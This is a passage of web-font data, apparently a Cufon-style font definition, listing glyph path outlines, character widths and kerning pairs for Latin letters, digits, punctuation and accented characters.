-3,17,2,20,11r27,92r28,-92v3,-9,12,-14,20,-11v9,3,14,12,11,21r-57,190v-3,11,-10,21,-19,27","w":132,"k":{",":25,".":25,"a":4,"e":4,"o":4}},{"d":"82,-128v22,1,53,-7,53,17r0,58v0,33,-27,60,-60,60v-33,0,-61,-27,-61,-60v0,-73,-21,-165,45,-181v26,-6,54,4,68,28v13,22,-19,36,-29,17v-12,-22,-49,-13,-49,13r0,123v0,14,12,26,26,26v30,0,27,-36,26,-67v-18,1,-36,1,-36,-17v0,-10,7,-17,17,-17","w":148},{"d":"63,-219v-2,36,7,79,-10,101v18,23,7,70,10,108v1,17,29,7,29,29v0,10,-7,17,-17,17v-56,1,-46,-69,-46,-125v0,-18,-32,-8,-29,-29v-2,-21,28,-11,29,-29v-1,-54,-9,-119,46,-118v10,0,17,7,17,17v0,22,-27,12,-29,29","w":92},{"d":"0,-86v-10,0,-17,-8,-17,-18v0,-10,7,-17,17,-17r360,0v10,0,17,7,17,17v0,10,-7,18,-17,18r-360,0","w":360},{"d":"197,-104v0,10,-7,18,-17,18r-180,0v-10,0,-17,-8,-17,-18v0,-10,7,-17,17,-17r180,0v10,0,17,7,17,17","w":180},{"d":"36,7v-12,0,-21,-9,-21,-21v0,-12,9,-21,21,-21v12,0,21,9,21,21v0,12,-9,21,-21,21xm19,-212v0,-10,7,-17,17,-17v10,0,17,7,17,17r0,144v0,10,-7,18,-17,18v-10,0,-17,-8,-17,-18r0,-144","w":72},{"d":"35,7v-12,0,-21,-9,-21,-21v0,-12,9,-21,21,-21v12,0,20,9,20,21v0,12,-8,21,-20,21xm35,-130v-12,0,-21,-8,-21,-20v0,-12,9,-21,21,-21v12,0,20,9,20,21v0,12,-8,20,-20,20","w":69},{"d":"35,-168v-26,7,-28,-25,-11,-32v-19,-10,-12,-39,16,-34v29,5,20,60,-5,66","w":69,"k":{"d":29,"s":22}},{"d":"154,-10v1,18,-26,23,-33,7r-68,-140r0,133v0,10,-7,17,-17,17v-10,0,-17,-7,-17,-17r0,-209v-1,-18,24,-23,32,-7r69,140r0,-133v0,-10,7,-17,17,-17v10,0,17,7,17,17r0,209xm78,-266v-10,-13,-20,15,-33,3v-17,-16,6,-36,21,-38v15,-7,29,15,40,8v5,-7,14,-9,21,-4v19,14,-3,35,-20,37v-10,1,-20,0,-29,-6","w":172},{"d":"19,-217v0,-26,36,-18,60,-18v40,0,65,34,61,81v-4,42,-37,66,-87,60r0,84v0,10,-7,17,-17,17v-10,0,-17,-7,-17,-17r0,-207xm79,-128v36,0,36,-74,0,-72r-26,0r0,72r26,0","w":144,"k":{",":40,"\u00e4":7,"\u00f6":4,"\u00e5":7,".":40,"a":7,"e":4,"o":4,"A":14}},{"d":"107,-259v-12,0,-21,-9,-21,-21v0,-12,9,-21,21,-21v12,0,20,9,20,21v0,12,-8,21,-20,21xm49,-301v12,0,21,9,21,21v0,12,-9,21,-21,21v-12,0,-21,-9,-21,-21v0,-12,9,-21,21,-21xm47,-43v-8,23,-5,55,-32,49v-9,-2,-14,-11,-11,-21r57,-209v3,-16,29,-16,33,0r58,209v3,10,-3,19,-12,21v-26,6,-23,-27,-32,-49r-61,0xm99,-78v-7,-25,-14,-53,-21,-76v-7,23,-14,51,-21,76r42,0","w":155},{"d":"157,-90v26,0,48,22,48,48v0,27,-22,47,-48,47v-27,0,-48,-20,-48,-47v0,-26,21,-48,48,-48xm157,-26v10,0,17,-6,17,-16v0,-10,-7,-17,-17,-17v-10,0,-17,7,-17,17v0,10,7,16,17,16xm104,-186v0,27,-21,47,-47,47v-27,0,-48,-20,-48,-47v0,-26,21,-48,48,-48v26,0,47,22,47,48xm40,-186v0,10,7,16,17,16v10,0,16,-6,16,-16v0,-10,-6,-17,-16,-17v-10,0,-17,7,-17,17xm165,-234v9,4,12,14,8,23r-101,208v-4,9,-14,12,-23,8v-9,-4,-12,-14,-8,-23r101,-208v4,-9,14,-12,23,-8","w":213},{"d":"91,-136v0,19,3,42,-16,42v-18,0,-16,-23,-16,-42v-13,6,-34,25,-45,6v-11,-20,17,-27,28,-35v-11,-8,-39,-15,-28,-35v11,-19,32,1,45,7v0,-19,-3,-42,16,-42v19,0,16,23,16,42v12,-7,34,-26,45,-7v11,19,-17,27,-28,35v11,8,39,15,28,35v-11,19,-33,0,-45,-6"},{"d":"14,5v-8,-4,-12,-15,-8,-23r51,-100r-47,-93v-4,-9,0,-19,8,-23v9,-4,19,-1,23,8r35,69r35,-69v4,-9,15,-12,23,-8v9,4,12,14,8,23r-47,93r50,100v4,8,2,19,-7,23v-8,4,-20,1,-24,-7r-38,-78r-39,78v-4,8,-14,11,-23,7","w":151},{"d":"76,7v-33,0,-60,-27,-60,-60r0,-166v0,-10,7,-17,17,-17v10,0,17,7,17,17r0,166v0,14,12,26,26,26v14,0,26,-12,26,-26r0,-166v0,-10,8,-17,18,-17v10,0,17,7,17,17r0,166v0,33,-28,60,-61,60xm76,-271v-13,7,-27,32,-44,15v-11,-26,24,-33,35,-47v24,-10,36,17,51,25v8,4,9,16,3,22v-16,18,-32,-9,-45,-15","w":152},{"d":"94,-79v-27,-7,-25,-41,-41,-62r0,131v0,10,-7,17,-17,17v-10,0,-17,-7,-17,-17r0,-209v-1,-18,24,-24,32,-7r43,89r41,-89v7,-17,34,-11,33,7r0,209v0,10,-7,17,-17,17v-10,0,-17,-7,-17,-17r0,-131v-15,22,-15,53,-40,62","w":187},{"d":"19,-219v0,-10,7,-17,17,-17v10,0,17,7,17,17r0,209v0,10,-7,17,-17,17v-10,0,-17,-7,-17,-17r0,-209xm6,-255v-14,-29,26,-38,37,-55v7,-6,17,-6,23,1v14,29,-26,39,-37,56v-7,6,-17,5,-23,-2","w":72},{"d":"45,-132v-9,11,-29,2,-28,-12v16,-47,93,-23,93,25r0,107v0,23,-30,16,-52,17v-29,0,-53,-24,-53,-53v0,-36,30,-57,72,-52v5,-26,-10,-49,-32,-32xm77,-67v-20,-1,-39,0,-39,19v0,18,18,22,39,20r0,-39xm74,-208v0,-11,9,-20,20,-20v11,0,19,9,19,20v0,11,-8,20,-19,20v-11,0,-20,-9,-20,-20xm36,-188v-11,0,-20,-9,-20,-20v0,-11,9,-20,20,-20v11,0,20,9,20,20v0,11,-9,20,-20,20","w":126,"k":{"v":4}},{"d":"47,-43v-8,23,-5,55,-32,49v-9,-2,-14,-11,-11,-21r57,-209v3,-16,29,-16,33,0r58,209v3,10,-3,19,-12,21v-26,6,-23,-27,-32,-49r-61,0xm99,-78v-7,-25,-14,-53,-21,-76v-7,23,-14,51,-21,76r42,0","w":155,"k":{"\u2019":25,"\u201d":25,"y":4,"w":4,"v":4,"Y":18,"W":14,"V":14,"T":18}},{"d":"13,-17v0,-22,45,-22,44,0v8,32,-23,66,-43,41v-6,-11,4,-17,10,-25v-7,-3,-11,-9,-11,-16xm14,-150v0,-12,9,-21,21,-21v12,0,20,9,20,21v0,12,-8,20,-20,20v-12,0,-21,-8,-21,-20","w":69},{"d":"8,-149v-3,-9,2,-18,11,-21v22,-6,24,25,29,41v6,18,12,40,19,62r27,-92v3,-9,11,-14,20,-11v9,3,14,12,11,21r-43,144v-4,15,-26,14,-31,0","w":133,"k":{",":25,"\u00e4":4,"\u00f6":4,"\u00e5":4,".":25,"a":4,"e":4,"o":4}},{"d":"92,-236v23,0,16,31,17,53v0,10,-7,17,-17,17v-23,0,-16,-31,-17,-53v0,-10,7,-17,17,-17xm17,-183v1,-23,-6,-54,18,-53v23,0,16,31,17,53v0,10,-7,17,-17,17v-10,0,-18,-7,-18,-17","w":126},{"d":"59,-208v0,11,-9,20,-20,20v-11,0,-20,-9,-20,-20v0,-11,9,-20,20,-20v11,0,20,9,20,20xm116,-208v0,11,-9,20,-20,20v-11,0,-19,-9,-19,-20v0,-11,8,-20,19,-20v11,0,20,9,20,20xm15,-118v0,-29,24,-52,53,-52v29,0,52,23,52,52r0,72v0,29,-23,52,-52,52v-29,0,-53,-23,-53,-52r0,-72xm68,-138v-34,3,-20,59,-20,92v0,11,9,20,20,20v33,0,19,-60,19,-92v0,-11,-8,-20,-19,-20","w":135,"k":{"v":4}},{"d":"42,-121v-36,-25,-21,-88,19,-98v-9,-32,31,-44,34,-14r0,14v18,4,50,32,26,49v-21,15,-31,-34,-58,-12v-25,56,68,55,68,116v0,27,-18,49,-41,56v10,32,-32,44,-35,14r0,-14v-20,-5,-49,-30,-27,-50v23,-12,32,35,59,12v11,-9,11,-27,0,-36"},{"d":"64,-195v-11,-13,-20,15,-33,3v-17,-15,6,-34,20,-36v16,-7,29,16,41,8v4,-7,14,-10,20,-5v18,14,-3,34,-19,36v-10,1,-20,0,-29,-6xm20,-153v0,-22,31,-16,52,-16v29,0,52,23,52,52r0,107v0,9,-7,16,-16,16v-9,0,-16,-7,-16,-16r0,-107v0,-19,-20,-20,-40,-19r0,126v0,9,-7,16,-16,16v-9,0,-16,-7,-16,-16r0,-143","w":141},{"d":"112,6v-36,0,-105,19,-102,-24r76,-182v-28,-4,-75,12,-77,-17v0,-10,7,-18,17,-18v36,0,108,-18,102,24r-76,182v28,4,78,-12,78,17v0,10,-8,18,-18,18","w":138},{"d":"40,-188v-11,0,-19,-9,-19,-20v0,-11,8,-20,19,-20v11,0,20,9,20,20v0,11,-9,20,-20,20xm118,-208v0,11,-9,20,-20,20v-11,0,-20,-9,-20,-20v0,-11,9,-20,20,-20v11,0,20,9,20,20xm17,-154v0,-9,7,-16,16,-16v9,0,16,7,16,16r0,106v0,19,19,22,40,20r0,-126v0,-9,7,-16,16,-16v9,0,16,7,16,16r0,142v0,23,-30,16,-52,17v-28,0,-52,-24,-52,-53r0,-106","w":141},{"d":"72,35v-23,-1,-54,6,-53,-18r0,-263v-1,-24,30,-17,53,-18v10,0,17,8,17,18v0,18,-18,18,-36,17r0,229v18,-1,36,-1,36,17v0,10,-7,18,-17,18","w":92},{"d":"128,-130r0,25v18,-1,36,0,36,16v0,16,-18,17,-36,16v-4,28,12,76,-17,79v-28,-3,-12,-52,-16,-79r-25,0v-4,28,12,76,-16,79v-29,-2,-13,-51,-17,-79v-18,1,-36,0,-36,-16v0,-16,18,-17,36,-16r0,-25v-18,1,-36,0,-36,-17v0,-16,18,-17,36,-16v3,-26,-11,-72,17,-72v27,0,13,46,16,72r25,0v3,-26,-11,-72,16,-72v28,0,14,46,17,72v18,-1,36,0,36,16v0,16,-18,19,-36,17xm95,-130r-25,0r0,25r25,0r0,-25","w":164},{"d":"53,-200r0,65v25,3,65,-10,65,17v0,27,-40,14,-65,17r0,72v26,3,72,-11,72,17v0,33,-58,18,-89,18v-10,0,-17,-8,-17,-18r0,-205v3,-33,58,-18,89,-18v10,0,17,8,17,18v-1,28,-46,14,-72,17xm43,-278v18,-10,31,-46,59,-31v14,29,-26,39,-37,56v-7,6,-17,5,-23,-2v-6,-7,-6,-17,1,-23","w":132},{"d":"89,-45v-23,-16,8,-45,14,-60v-6,-16,-34,-41,-12,-57v29,-9,33,33,46,49v6,27,-17,41,-24,61v-3,8,-16,12,-24,7xm24,-45v-23,-16,9,-44,14,-60v-6,-16,-34,-41,-12,-57v29,-9,33,33,46,49v6,27,-17,41,-24,61v-3,8,-16,12,-24,7","w":150},{"d":"81,-43v-28,-3,-82,11,-71,-23r50,-158v7,-20,41,-11,34,11r-44,135r31,0v0,-22,-5,-50,18,-50v22,0,16,29,17,50v30,-8,40,33,11,35r-11,0v-1,21,6,50,-17,50v-23,0,-18,-28,-18,-50"},{"d":"138,-235v65,0,120,57,120,121r0,66v0,29,-23,53,-52,53r-72,0v-29,0,-52,-24,-52,-53v1,-36,30,-57,72,-52v6,-27,-13,-47,-34,-32v-11,12,-29,0,-28,-12v19,-48,94,-21,94,25r0,91v21,2,40,-1,40,-20r0,-66v1,-46,-41,-89,-88,-89v-47,0,-89,42,-89,89r0,64v2,62,53,89,128,89v9,0,16,7,16,16v0,23,-33,15,-55,16v-65,2,-123,-55,-121,-121r0,-64v-2,-65,57,-121,121,-121xm154,-67v-20,-1,-40,0,-40,19v0,19,19,22,40,20r0,-39","w":275},{"d":"36,78v-9,0,-16,-7,-16,-16r0,-215v0,-22,31,-16,52,-16v29,0,52,23,52,52r0,69v-1,36,-29,59,-72,53v-3,26,11,70,-16,73xm92,-48v0,-39,19,-99,-40,-88r0,108v21,2,40,-1,40,-20","w":139,"k":{"y":4}},{"d":"33,-136v-29,9,-40,-30,-13,-33r13,0v3,-26,-11,-73,16,-73v27,0,12,47,16,73v18,-1,36,-1,36,16v0,17,-18,18,-36,17r0,90v-2,25,36,13,36,36v0,9,-7,16,-16,16v-29,0,-52,-23,-52,-52r0,-90","w":106},{"d":"118,-92v10,0,17,7,17,17v0,10,-7,17,-17,17r-86,0v-10,0,-18,-7,-18,-17v0,-10,8,-17,18,-17r86,0xm118,-150v10,0,17,8,17,18v0,10,-7,17,-17,17r-86,0v-10,0,-18,-7,-18,-17v0,-35,69,-18,104,-18"},{"d":"19,-217v3,-33,58,-18,89,-18v10,0,17,8,17,18v-1,28,-46,14,-72,17r0,65v25,3,65,-10,65,17v0,27,-40,14,-65,17r0,72v26,3,72,-11,72,17v0,33,-58,18,-89,18v-10,0,-17,-8,-17,-18r0,-205","w":132},{"d":"50,-53v0,14,12,26,26,26v14,0,26,-12,26,-26r0,-166v0,-10,8,-17,18,-17v10,0,17,7,17,17r0,166v0,33,-28,60,-61,60v-33,0,-60,-27,-60,-60r0,-166v0,-10,7,-17,17,-17v10,0,17,7,17,17r0,166","w":152,"k":{"A":4}},{"d":"36,6v-10,0,-17,-8,-17,-18r0,-205v3,-33,58,-18,89,-18v10,0,17,8,17,18v-1,28,-46,14,-72,17r0,65v25,3,65,-10,65,17v0,27,-40,14,-65,17r0,89v0,10,-7,18,-17,18","w":129,"k":{",":40,"\u00e4":4,"\u00f6":4,"\u00e5":4,".":40,"a":4,"e":7,"i":4,"o":7,"r":4,"A":14}},{"d":"105,-219v0,-10,7,-17,17,-17v10,0,18,7,18,17r0,209v0,10,-8,17,-18,17v-10,0,-17,-7,-17,-17r0,-91r-52,0r0,91v0,10,-7,17,-17,17v-10,0,-17,-7,-17,-17r0,-209v0,-10,7,-17,17,-17v10,0,17,7,17,17r0,84r52,0r0,-84","w":158},{"d":"46,-18v-17,14,-40,-13,-23,-27r71,-59r-71,-58v-7,-7,-9,-18,-2,-25v6,-7,17,-8,25,-2r86,72v8,6,8,21,0,27"},{"d":"42,-41v11,22,52,14,52,-12v0,-8,-3,-15,-8,-22v-25,-32,-73,-54,-74,-105v-1,-56,88,-76,113,-26v11,21,-20,36,-30,17v-10,-20,-49,-12,-49,12v0,8,3,14,8,19v25,33,74,55,75,108v1,57,-91,78,-116,26v-11,-22,19,-36,29,-17","w":137},{"d":"126,-26v-13,29,-56,46,-88,23v-26,-17,-36,-58,-14,-87r26,-34v-15,-19,-43,-49,-24,-85v20,-37,77,-33,94,3v16,33,-11,63,-26,82v10,12,18,26,29,37v4,-11,17,-26,30,-17v19,13,-1,34,-8,46v8,17,42,35,23,58v-22,13,-32,-16,-42,-26xm89,-191v-6,-19,-37,-11,-36,9v1,13,13,20,19,30v6,-11,24,-21,17,-39xm46,-49v2,20,38,31,48,9r10,-15r-32,-41v-8,14,-28,25,-26,47","w":177},{"d":"79,-235v68,-3,83,112,28,135r32,84v4,9,-1,19,-10,22v-9,3,-20,-1,-23,-10r-33,-90r-20,0r0,84v0,10,-7,17,-17,17v-10,0,-17,-7,-17,-17r0,-207v0,-26,36,-16,60,-18xm53,-128v36,4,56,-7,52,-46v-3,-24,-25,-29,-52,-26r0,72","k":{"Y":7,"T":4}},{"d":"35,32v-26,6,-27,-24,-11,-33v-22,-11,-8,-36,16,-32v29,5,19,59,-5,65","w":69},{"d":"20,-264v23,1,54,-6,53,18r0,263v1,24,-30,17,-53,18v-10,0,-17,-8,-17,-18v0,-18,18,-18,36,-17r0,-229v-18,1,-36,1,-36,-17v0,-10,7,-18,17,-18","w":92},{"d":"105,5v-50,0,-87,-10,-88,-53r0,-106v0,-9,7,-16,16,-16v9,0,16,7,16,16r0,106v0,19,19,22,40,20r0,-126v0,-9,7,-16,16,-16v9,0,16,7,16,16r0,142v0,9,-7,17,-16,17","w":141},{"d":"17,4v-8,-4,-11,-14,-7,-22r36,-66r-34,-62v-4,-8,-2,-18,6,-22v30,-8,33,35,47,51v14,-17,17,-58,47,-51v8,4,10,14,6,22r-34,62r36,66v4,8,1,18,-7,22v-31,7,-33,-37,-48,-54v-15,17,-17,61,-48,54","w":129},{"d":"36,6v-9,0,-16,-7,-16,-16r0,-143v0,-22,31,-16,52,-16v29,0,52,23,52,52r0,107v0,9,-7,16,-16,16v-9,0,-16,-7,-16,-16r0,-107v0,-19,-20,-20,-40,-19r0,126v0,9,-7,16,-16,16","w":141},{"d":"60,-237v27,-15,41,23,58,32v6,6,8,15,2,22v-27,15,-40,-23,-58,-32v-7,-6,-7,-15,-2,-22","w":180},{"d":"29,-31v17,11,39,-3,39,-22r0,-166v0,-10,7,-17,17,-17v10,0,18,7,18,17r0,166v2,42,-50,76,-91,52v-8,-5,-12,-15,-7,-23v5,-8,16,-12,24,-7","w":119,"k":{",":7,".":7}},{"d":"79,-235v58,-3,81,83,42,117v39,35,19,128,-42,124v-24,-2,-60,8,-60,-18r0,-205v0,-26,36,-16,60,-18xm79,-29v36,0,36,-74,0,-72r-26,0r0,72r26,0xm53,-135v32,3,55,-4,52,-39v-2,-24,-25,-29,-52,-26r0,65","w":154,"k":{"A":4}},{"d":"108,6v-31,0,-89,15,-89,-18r0,-207v0,-10,7,-17,17,-17v10,0,17,7,17,17r0,190v26,3,71,-11,72,17v0,10,-7,18,-17,18","w":125,"k":{"\u2019":32,"\u201d":29,"y":14,"Y":22,"W":22,"V":22,"T":22}},{"d":"135,-176v0,57,14,131,-16,164v6,14,28,36,8,48v-20,12,-30,-18,-38,-31v-40,10,-75,-21,-75,-58r0,-123v0,-33,28,-60,61,-60v33,0,60,27,60,60xm49,-53v0,14,12,26,26,26v14,0,26,-12,26,-26r0,-123v0,-14,-12,-26,-26,-26v-14,0,-26,12,-26,26r0,123"},{"d":"21,-236v27,-5,25,39,32,60v9,26,14,61,22,92r34,-139v3,-17,29,-17,33,0r34,139r34,-139v3,-10,10,-16,20,-13v10,3,16,12,13,21r-50,209v-3,17,-31,17,-34,0r-33,-139r-34,139v-3,17,-31,17,-34,0r-50,-209v-3,-9,4,-19,13,-21","w":251,"k":{",":32,":":14,";":14,"-":14,".":32,"a":14,"e":14,"o":14,"y":11,"u":14,"A":14,"O":7}},{"d":"92,-121v20,0,43,-3,43,17v0,20,-23,19,-43,18v0,20,3,43,-17,43v-20,0,-17,-23,-17,-43v-21,1,-44,2,-44,-18v0,-20,24,-17,44,-17v0,-20,-3,-43,17,-43v20,0,17,23,17,43"},{"d":"29,-10v3,-38,-9,-85,10,-108v-18,-22,-7,-65,-10,-101v-2,-17,-29,-7,-29,-29v0,-10,7,-17,17,-17v25,0,46,20,46,46r0,72v0,18,32,8,29,29v2,21,-28,11,-29,29v0,56,10,126,-46,125v-10,0,-17,-7,-17,-17v0,-22,27,-12,29,-29","w":92},{"d":"124,-249v9,3,13,12,10,21r-86,238v-3,9,-13,14,-22,11v-9,-3,-14,-13,-11,-22r87,-238v3,-9,13,-13,22,-10"},{"d":"36,-235v58,0,104,11,104,61r0,119v-1,49,-46,61,-104,61v-10,0,-17,-8,-17,-18r0,-205v0,-10,7,-18,17,-18xm105,-174v0,-24,-25,-29,-52,-26r0,171v27,2,52,-1,52,-26r0,-119","w":154,"k":{"A":4,"Y":7,"W":4,"V":4}},{"d":"104,-189v20,-16,38,14,22,27r-70,58r70,59v7,6,8,16,3,24v-6,7,-18,9,-25,3r-86,-72v-8,-6,-8,-21,0,-27"},{"d":"82,-32v9,-10,30,-3,27,11v-12,50,-94,24,-94,-25r0,-72v0,-29,24,-52,53,-52v43,1,57,39,52,88v-3,27,-46,13,-72,16v-6,27,11,51,34,34xm68,-138v-19,0,-22,19,-20,40r39,0v1,-20,0,-40,-19,-40","w":132,"k":{"y":4,"w":4,"v":4}},{"d":"134,-1v4,9,-1,19,-10,22v-9,3,-19,-2,-22,-11r-87,-238v-3,-9,2,-18,11,-21v9,-3,19,1,22,10"},{"d":"49,-278v18,-10,31,-46,59,-31v14,29,-26,39,-37,56v-7,6,-17,5,-23,-2v-6,-7,-6,-17,1,-23xm47,-43v-8,23,-5,55,-32,49v-9,-2,-14,-11,-11,-21r57,-209v3,-16,29,-16,33,0r58,209v3,10,-3,19,-12,21v-26,6,-23,-27,-32,-49r-61,0xm99,-78v-7,-25,-14,-53,-21,-76v-7,23,-14,51,-21,76r42,0","w":155},{"d":"127,-23v-27,52,-116,30,-113,-30v4,-73,-20,-166,45,-181v27,-7,54,4,68,28v5,8,2,19,-6,24v-22,11,-29,-28,-53,-19v-11,4,-19,13,-19,25r0,123v-1,26,37,35,48,13v5,-8,16,-12,24,-7v8,5,11,16,6,24","w":138},{"d":"115,-235v10,0,17,8,17,18v1,21,-26,17,-46,17r0,190v0,10,-8,17,-18,17v-10,0,-17,-7,-17,-17r0,-190v-21,0,-47,4,-47,-17v0,-10,8,-18,18,-18r93,0","w":136,"k":{",":29,":":22,";":22,"-":29,"\u00e4":11,"\u00f6":11,"\u00e5":18,".":29,"a":29,"e":25,"i":7,"o":25,"r":25,"y":25,"w":25,"u":25,"A":18,"O":4}},{"d":"45,-132v-10,9,-29,2,-28,-12v16,-47,93,-23,93,25r0,107v0,23,-30,16,-52,17v-29,0,-53,-24,-53,-53v0,-36,30,-57,72,-52v6,-26,-12,-50,-32,-32xm77,-67v-20,-1,-39,0,-39,19v0,18,18,22,39,20r0,-39","w":126,"k":{"y":4,"w":4,"v":4}},{"d":"43,-40v11,22,48,13,48,-13v0,-25,-2,-48,-25,-48v-10,0,-18,-7,-18,-17v0,-29,54,-10,43,-58v1,-26,-37,-35,-48,-13v-5,8,-16,12,-24,7v-8,-5,-11,-16,-6,-24v31,-56,113,-28,113,45v0,17,-6,32,-18,43v33,33,23,114,-27,123v-29,13,-89,-20,-62,-52v8,-5,19,-1,24,7"},{"d":"75,7v-33,0,-61,-27,-61,-60r0,-123v0,-33,28,-60,61,-60v33,0,60,27,60,60r0,123v0,33,-27,60,-60,60xm75,-202v-14,0,-26,12,-26,26r0,123v0,14,12,26,26,26v14,0,26,-12,26,-26r0,-123v0,-14,-12,-26,-26,-26"},{"d":"82,-32v9,-10,28,-3,27,11v-15,50,-94,24,-94,-25r0,-72v0,-29,24,-52,53,-52v43,1,57,39,52,88v-3,27,-46,13,-72,16v-6,27,12,51,34,34xm68,-138v-19,0,-22,19,-20,40r39,0v1,-20,0,-40,-19,-40xm76,-238v6,-6,15,-5,21,1v13,29,-26,38,-37,55v-7,6,-16,5,-22,-1v-11,-29,27,-38,38,-55","w":132},{"d":"6,-214v-3,-10,3,-19,13,-21v29,-6,29,41,35,63r27,97r41,-149v3,-9,12,-14,21,-11v10,3,15,11,12,21r-57,209v-5,16,-29,16,-34,0","w":161,"k":{",":36,":":11,";":11,"-":18,"\u00e4":11,"\u00f6":11,"\u00e5":14,".":36,"a":18,"e":18,"o":18,"u":14,"A":14,"O":4}},{"d":"129,-18v4,8,2,18,-6,22v-8,4,-18,2,-22,-6r-38,-69v-25,9,7,77,-27,77v-9,0,-16,-7,-16,-16r0,-216v0,-9,7,-16,16,-16v9,0,16,7,16,16r0,118r51,-57v6,-7,16,-7,23,-1v7,6,7,16,1,23r-41,46","w":136,"k":{"\u00f6":4,"e":4,"o":4}},{"d":"99,-212v0,19,-15,35,-34,35v-19,0,-35,-16,-35,-35v0,-19,16,-34,35,-34v19,0,34,15,34,34xm56,-212v0,5,4,9,9,9v5,0,8,-4,8,-9v0,-5,-3,-8,-8,-8v-5,0,-9,3,-9,8xm45,-132v-10,9,-29,2,-28,-12v16,-47,93,-23,93,25r0,107v0,23,-30,16,-52,17v-29,0,-53,-24,-53,-53v0,-36,30,-57,72,-52v6,-26,-12,-50,-32,-32xm77,-67v-20,-1,-39,0,-39,19v0,18,18,22,39,20r0,-39","w":126,"k":{"v":4}},{"d":"24,-182v-23,-20,10,-47,30,-52v51,-13,96,36,70,86r-62,119v26,3,69,-11,69,17v0,34,-65,18,-98,18v-10,0,-22,-12,-15,-25r76,-144v14,-30,-30,-54,-46,-26v-5,8,-17,13,-24,7"},{"d":"31,-171v-21,0,-21,-25,-18,-46v4,-34,69,-13,104,-18v9,-1,20,10,17,22r-50,207v-4,21,-35,15,-35,-4r46,-190r-47,0v2,16,-3,29,-17,29"},{"d":"78,7v-33,0,-60,-27,-60,-60v0,-73,-20,-163,45,-181v30,-9,89,21,61,52v-21,11,-29,-29,-52,-19v-23,5,-21,30,-20,57v55,-22,87,22,87,91v0,33,-28,60,-61,60xm78,-115v-28,0,-28,32,-26,62v0,14,12,26,26,26v28,0,28,-32,26,-62v0,-14,-12,-26,-26,-26"},{"d":"133,-114v19,20,-10,42,-28,44v-24,11,-47,-30,-65,-8v-6,7,-16,11,-23,5v-21,-18,11,-42,28,-44v25,-9,47,29,65,8v6,-7,15,-10,23,-5"},{"w":69},{"d":"72,7v-10,0,-17,-7,-17,-17r0,-104r-49,-97v-4,-9,-1,-19,8,-23v20,-9,28,18,35,31v7,14,15,31,23,46r35,-69v4,-9,15,-12,23,-8v9,4,12,14,8,23r-48,97r0,104v0,10,-8,17,-18,17","w":144,"k":{",":32,":":18,";":18,"-":32,".":32,"a":25,"e":25,"g":25,"i":7,"m":22,"n":22,"o":25,"p":22,"s":25,"x":18,"v":18,"u":22,"A":18,"O":7}},{"d":"104,5v-50,0,-89,-10,-89,-53r0,-69v1,-36,30,-57,72,-52v3,-27,-11,-71,17,-73v9,0,16,7,16,16r0,214v0,9,-7,17,-16,17xm87,-136v-20,-1,-39,0,-39,19v0,39,-19,99,39,89r0,-108","w":139},{"d":"75,7v-33,0,-61,-27,-61,-60r0,-123v0,-33,28,-60,61,-60v33,0,60,27,60,60r0,123v0,33,-27,60,-60,60xm75,-202v-14,0,-26,12,-26,26r0,123v0,14,12,26,26,26v14,0,26,-12,26,-26r0,-123v0,-14,-12,-26,-26,-26","k":{"A":4,"Y":7,"W":7,"V":4,"T":7}},{"d":"52,-136r0,126v0,9,-7,16,-16,16v-9,0,-16,-7,-16,-16r0,-143v0,-9,7,-16,16,-16v68,2,159,-18,160,52r0,107v0,9,-7,16,-16,16v-9,0,-16,-7,-16,-16r0,-107v0,-19,-20,-20,-40,-19r0,126v0,9,-7,16,-16,16v-9,0,-16,-7,-16,-16r0,-126r-40,0","w":213},{"d":"75,7v-59,0,-82,-86,-42,-125v-38,-34,-17,-118,42,-118v56,0,80,80,42,118v37,36,19,125,-42,125xm75,-202v-37,0,-34,69,0,67v19,-1,26,-18,26,-41v0,-14,-12,-26,-26,-26xm75,-27v35,0,37,-76,0,-74v-22,1,-26,22,-26,48v0,14,12,26,26,26"},{"d":"36,7v-10,0,-17,-7,-17,-17r0,-209v0,-10,7,-17,17,-17v10,0,17,7,17,17r0,209v0,10,-7,17,-17,17","w":72},{"d":"72,5v-22,-1,-52,6,-52,-17r0,-214v0,-9,7,-16,16,-16v27,2,12,47,16,73v42,-5,72,16,72,52r0,69v0,29,-23,53,-52,53xm52,-136r0,108v21,2,40,-1,40,-20v0,-39,19,-99,-40,-88","w":139,"k":{"y":4,"v":4}},{"w":69},{"d":"99,-152v9,-10,30,-3,29,12v-2,19,-20,24,-29,36v9,12,26,18,29,36v2,15,-19,24,-29,13r-24,-24v-12,9,-18,27,-36,29v-15,2,-22,-21,-12,-30r23,-24v-9,-12,-26,-18,-28,-36v-2,-15,20,-22,29,-12r24,24"},{"d":"154,-10v1,18,-25,23,-33,7r-68,-140r0,133v0,10,-7,17,-17,17v-10,0,-17,-7,-17,-17r0,-209v-1,-18,24,-23,32,-7r69,140r0,-133v0,-10,7,-17,17,-17v10,0,17,7,17,17r0,209","w":172},{"d":"98,5v-32,0,-93,17,-87,-24r60,-117v-24,-2,-61,8,-61,-17v0,-30,58,-12,88,-16v8,-1,16,7,16,16v-15,42,-46,92,-62,125v24,2,61,-9,62,16v0,9,-7,17,-16,17","w":123,"k":{"e":4,"o":4}},{"d":"35,-168v-25,6,-29,-24,-11,-32v-18,-10,-11,-39,16,-34v29,5,20,60,-5,66xm100,-168v-27,7,-29,-25,-11,-32v-20,-10,-11,-39,16,-34v29,5,20,60,-5,66","w":133},{"d":"32,-262v62,64,65,219,0,288v-7,7,-16,9,-24,3v-8,-6,-10,-18,-3,-25v54,-57,55,-185,0,-244v-7,-7,-5,-19,3,-25v8,-6,18,-4,24,3","w":96},{"d":"87,5v-42,5,-72,-17,-72,-53r0,-69v1,-43,39,-52,89,-52v9,0,16,7,16,16r0,215v0,9,-7,16,-16,16v-28,-2,-14,-47,-17,-73xm87,-136v-20,-1,-39,0,-39,19v0,39,-19,99,39,89r0,-108","w":139},{"d":"39,-188v-11,0,-20,-9,-20,-20v0,-11,9,-20,20,-20v11,0,20,9,20,20v0,11,-9,20,-20,20xm3,78v-9,0,-16,-7,-16,-16v0,-23,36,-11,36,-36r0,-180v0,-9,7,-16,16,-16v9,0,16,7,16,16r0,180v0,29,-23,52,-52,52","w":74},{"d":"31,63v-10,-10,-2,-28,11,-28v12,0,20,16,33,9v15,-5,12,-21,12,-39v-42,5,-72,-17,-72,-53r0,-69v1,-43,39,-52,89,-52v9,0,16,7,16,16r0,179v3,43,-57,70,-89,37xm87,-136v-20,-1,-39,0,-39,19v0,39,-19,99,39,89r0,-108","w":138},{"d":"68,6v-29,0,-53,-23,-53,-52r0,-72v0,-29,24,-52,53,-52v29,0,52,23,52,52r0,72v0,29,-23,52,-52,52xm68,-138v-34,3,-